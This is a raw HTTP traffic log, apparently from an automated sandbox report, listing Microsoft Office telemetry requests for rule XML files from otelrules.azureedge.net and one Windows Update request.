Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YsRBWO26KCpAR2h&MD=1Ebpe4H8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
